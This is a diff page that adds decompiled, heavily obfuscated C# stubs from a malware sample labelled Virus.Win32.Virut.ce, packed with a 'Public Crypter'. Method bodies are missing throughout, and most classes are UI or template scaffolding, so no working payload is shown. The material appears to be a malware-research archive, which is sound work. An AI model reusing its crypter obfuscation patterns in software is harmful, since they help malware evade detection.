\u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x600000C\u002D0(ref \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000014\u002D0, new IntPtr(_param1), _param0, ref \u003CPrivateImplementationDetails\u003E\u007BFCDEF2F2\u002D8E7E\u002D4528\u002DB12E\u002DED99013B2DCE\u007D.\u0024\u0024method0x6000015\u002D0, new IntPtr(0));
return true;
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static void \u0024\u0024method0x6000013\u002D0();
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹.cs
+46
View File
@@ -0,0 +1,46 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
internal class ऄ\u0839
{
static string[] \u000A;
static byte[] \u000A;
static int[] \u000A;
static int \u000A;
static uint[] \u000A;
static uint[] \u000A = new uint[188];
private static ऄ\u0839.A\u000A \u000A;
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄ\u0839();
static ऄ\u0839() => RuntimeHelpers.InitializeArray((Array) ऄ\u0839.\u000A, __fieldref (ऄ\u0839.\u000A));
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string ऄࡀ(int _param0);
[MethodImpl(MethodImplOptions.NoInlining)]
private static void ऄࡀ(bool _param0);
[MethodImpl(MethodImplOptions.NoInlining)]
private static void ऄࡀ(uint[] _param0);
[MethodImpl(MethodImplOptions.NoInlining)]
private static int ऄࡀ(Stream _param0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void ऄࡀ();
[StructLayout(LayoutKind.Explicit, Size = 752)]
private struct A\u000A
{
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄ࠹/ऄࡀ.cs
+34
View File
@@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄ࠹.ऄ࠹.ऄࡀ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace ऄ\u0839.ऄ\u0839.ऄ\u0839
{
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[HideModuleName]
[DebuggerNonUserCode]
[CompilerGenerated]
[StandardModule]
internal sealed class ऄࡀ
{
static ResourceManager \u000A;
static CultureInfo \u000A;
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; }
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡀ.cs
+34
View File
@@ -0,0 +1,34 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄ࠹.ऄࡀ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace ऄ\u0839.ऄ\u0839
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class ऄࡀ : WindowsFormsApplicationBase
{
[DebuggerStepThrough]
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡀ();
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerHidden]
[STAThread]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void ऄࡁ(string[] _param0);
[DebuggerStepThrough]
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnCreateMainForm();
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡁ.cs
+24
View File
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄ࠹.ऄࡁ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace ऄ\u0839.ऄ\u0839
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class ऄࡁ : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡁ();
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡂ.cs
+142
View File
@@ -0,0 +1,142 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄ࠹.ऄࡂ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace ऄ\u0839.ऄ\u0839
{
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class ऄࡂ
{
static readonly ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<ऄ\u0839.ऄ\u0839.ऄࡁ> \u000A;
static readonly ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<ऄ\u0839.ऄ\u0839.ऄࡀ> \u000A;
static readonly ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<User> \u000A;
static ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<ऄ\u0839.ऄ\u0839.ऄࡂ.ऄ\u0839> \u000A;
static readonly ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡁ<ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡀ> \u000A;
[DebuggerNonUserCode]
[MethodImpl(MethodImplOptions.NoInlining)]
static ऄࡂ();
[HelpKeyword("My.Computer")]
internal static ऄ\u0839.ऄ\u0839.ऄࡁ ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; }
[HelpKeyword("My.Application")]
internal static ऄ\u0839.ऄ\u0839.ऄࡀ ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; }
[HelpKeyword("My.User")]
internal static User ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; }
[HelpKeyword("My.Forms")]
internal static ऄ\u0839.ऄ\u0839.ऄࡂ.ऄ\u0839 ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; }
[HelpKeyword("My.WebServices")]
internal static ऄ\u0839.ऄ\u0839.ऄࡂ.ऄࡀ ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; }
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class ऄࡀ
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡀ();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
public override bool Equals(object o);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
public override int GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
[MethodImpl(MethodImplOptions.NoInlining)]
internal System.Type ऄࡁ();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
[MethodImpl(MethodImplOptions.NoInlining)]
public override string ToString();
[DebuggerHidden]
[MethodImpl(MethodImplOptions.NoInlining)]
private static T ऄࡁ<T>(T _param0) where T : new();
[DebuggerHidden]
[MethodImpl(MethodImplOptions.NoInlining)]
private void ऄࡁ<T>(ref T _param1);
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ऄࡁ<T> where T : new()
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡁ();
internal T ऄࡀ { [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get; }
}
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ऄ\u0839
{
ऄ\u0839.ऄࡅ \u000A;
[ThreadStatic]
static Hashtable \u000A;
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄ\u0839();
public ऄ\u0839.ऄࡅ ऄࡀ { [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] get; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.NoInlining)] set; }
[DebuggerHidden]
[MethodImpl(MethodImplOptions.NoInlining)]
private static T ऄࡀ<T>(T _param0) where T : Form, new();
[DebuggerHidden]
[MethodImpl(MethodImplOptions.NoInlining)]
private void ऄࡀ<T>(ref T _param1) where T : Form;
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
public override bool Equals(object o);
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
public override int GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
internal System.Type ऄࡀ();
[EditorBrowsable(EditorBrowsableState.Never)]
[MethodImpl(MethodImplOptions.NoInlining)]
public override string ToString();
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡃ.cs
+39
View File
@@ -0,0 +1,39 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄ࠹.ऄࡃ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace ऄ\u0839.ऄ\u0839
{
[EditorBrowsable(EditorBrowsableState.Advanced)]
[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
internal sealed class ऄࡃ : ApplicationSettingsBase
{
static ऄ\u0839.ऄ\u0839.ऄࡃ \u000A;
static bool \u000A;
static object \u000A;
[MethodImpl(MethodImplOptions.NoInlining)]
static ऄࡃ();
[DebuggerNonUserCode]
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡃ();
[DebuggerNonUserCode]
[EditorBrowsable(EditorBrowsableState.Advanced)]
[MethodImpl(MethodImplOptions.NoInlining)]
private static void ऄࡀ(object _param0, EventArgs _param1);
public static ऄ\u0839.ऄ\u0839.ऄࡃ ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; }
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡄ.cs
+24
View File
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄ࠹.ऄࡄ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace ऄ\u0839.ऄ\u0839
{
[DebuggerNonUserCode]
[HideModuleName]
[StandardModule]
[CompilerGenerated]
internal sealed class ऄࡄ
{
[HelpKeyword("My.Settings")]
internal static ऄ\u0839.ऄ\u0839.ऄࡃ ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; }
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡀ.cs
+114
View File
@@ -0,0 +1,114 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄࡀ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
using ऄ\u0839;
namespace ऄ\u0839
{
internal abstract class ऄࡀ : ContainerControl
{
Graphics \u000A;
bool \u000A;
bool \u000A;
int \u000A;
IntPtr \u000A;
bool \u000A;
bool \u000A;
bool \u000A;
bool \u000A;
Point \u000A;
ऄࡀ.ऄ\u0839 \u000A;
ऄࡀ.ऄ\u0839 \u000A;
Rectangle \u000A;
Color \u000A;
Image \u000A;
Size \u000A;
Rectangle \u000A;
LinearGradientBrush \u000A;
SolidBrush \u000A;
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡀ();
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnHandleCreated(EventArgs e);
public override string Text { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
public bool ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
public int ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnMouseDown(MouseEventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
private ऄࡀ.ऄ\u0839 ऄࡁ();
[MethodImpl(MethodImplOptions.NoInlining)]
private void ऄࡂ();
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnMouseMove(MouseEventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnSizeChanged(EventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
public abstract void ऄࡃ();
[MethodImpl(MethodImplOptions.NoInlining)]
protected override sealed void OnPaint(PaintEventArgs e);
public Color ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
public Image ऄࡁ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
public int ऄࡂ { [MethodImpl(MethodImplOptions.NoInlining)] get; }
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡁ(Color _param1, Rectangle _param2);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡁ(Pen _param1, Pen _param2, Rectangle _param3);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡁ(HorizontalAlignment _param1, Color _param2, int _param3);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡁ(HorizontalAlignment _param1, Color _param2, int _param3, int _param4);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡁ(HorizontalAlignment _param1, int _param2);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡁ(HorizontalAlignment _param1, int _param2, int _param3);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡁ(
Color _param1,
Color _param2,
int _param3,
int _param4,
int _param5,
int _param6,
float _param7);
private struct ऄ\u0839
{
readonly Cursor \u000A;
readonly byte \u000A;
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄ\u0839(Cursor c, byte p);
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡁ.cs
+103
View File
@@ -0,0 +1,103 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄࡁ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
using ऄ\u0839;
namespace ऄ\u0839
{
internal abstract class ऄࡁ : Control
{
Graphics \u000A;
Bitmap \u000A;
ऄࡁ.ऄ\u0839 \u000A;
bool \u000A;
Image \u000A;
Size \u000A;
Rectangle \u000A;
LinearGradientBrush \u000A;
SolidBrush \u000A;
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡁ();
[MethodImpl(MethodImplOptions.NoInlining)]
public void ऄࡀ();
public override string Text { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnMouseLeave(EventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnMouseEnter(EventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnMouseUp(MouseEventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnMouseDown(MouseEventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
private void ऄࡀ(ऄࡁ.ऄ\u0839 _param1);
[MethodImpl(MethodImplOptions.NoInlining)]
public abstract void ऄࡂ();
[MethodImpl(MethodImplOptions.NoInlining)]
protected override sealed void OnPaint(PaintEventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnSizeChanged(EventArgs e);
public bool ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
public Image ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
public int ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; }
public int ऄࡂ { [MethodImpl(MethodImplOptions.NoInlining)] get; }
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(Color _param1, Rectangle _param2);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(Pen _param1, Pen _param2, Rectangle _param3);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(HorizontalAlignment _param1, Color _param2, int _param3);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(HorizontalAlignment _param1, Color _param2, int _param3, int _param4);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(HorizontalAlignment _param1, int _param2);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(HorizontalAlignment _param1, int _param2, int _param3);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(
Color _param1,
Color _param2,
int _param3,
int _param4,
int _param5,
int _param6,
float _param7);
protected enum ऄ\u0839 : byte
{
\u000A,
\u000A,
\u000A,
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡂ.cs
+56
View File
@@ -0,0 +1,56 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄࡂ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace ऄ\u0839
{
internal abstract class ऄࡂ : ContainerControl
{
Graphics \u000A;
Bitmap \u000A;
bool \u000A;
Rectangle \u000A;
LinearGradientBrush \u000A;
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡂ();
[MethodImpl(MethodImplOptions.NoInlining)]
public void ऄࡀ();
[MethodImpl(MethodImplOptions.NoInlining)]
public abstract void ऄࡁ();
[MethodImpl(MethodImplOptions.NoInlining)]
protected override sealed void OnPaint(PaintEventArgs e);
[MethodImpl(MethodImplOptions.NoInlining)]
protected override void OnSizeChanged(EventArgs e);
public bool ऄࡀ { [MethodImpl(MethodImplOptions.NoInlining)] get; [MethodImpl(MethodImplOptions.NoInlining)] set; }
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(Color _param1, Rectangle _param2);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(Pen _param1, Pen _param2, Rectangle _param3);
[MethodImpl(MethodImplOptions.NoInlining)]
protected void ऄࡀ(
Color _param1,
Color _param2,
int _param3,
int _param4,
int _param5,
int _param6,
float _param7);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡃ.cs
+26
View File
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄࡃ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using System.Drawing;
using System.Runtime.CompilerServices;
using ऄ\u0839;
namespace ऄ\u0839
{
internal class ऄࡃ : ऄࡀ
{
new Color \u000A;
new Color \u000A;
Pen \u000A;
Pen \u000A;
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡃ();
[MethodImpl(MethodImplOptions.NoInlining)]
public override void ऄࡃ();
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡄ.cs
+26
View File
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: ऄ࠹.ऄࡄ
// Assembly: L3G!T™ Public Crypter 1.0, Version=1.0.0.1, Culture=neutral, PublicKeyToken=null
// MVID: FCDEF2F2-8E7E-4528-B12E-ED99013B2DCE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f.exe
using System.Drawing;
using System.Runtime.CompilerServices;
using ऄ\u0839;
namespace ऄ\u0839
{
internal class ऄࡄ : ऄࡁ
{
Pen \u000A;
Pen \u000A;
Color \u000A;
Color \u000A;
[MethodImpl(MethodImplOptions.NoInlining)]
public ऄࡄ();
[MethodImpl(MethodImplOptions.NoInlining)]
public override void ऄࡂ();
}
}

Some files were not shown because too many files have changed in this diff Show More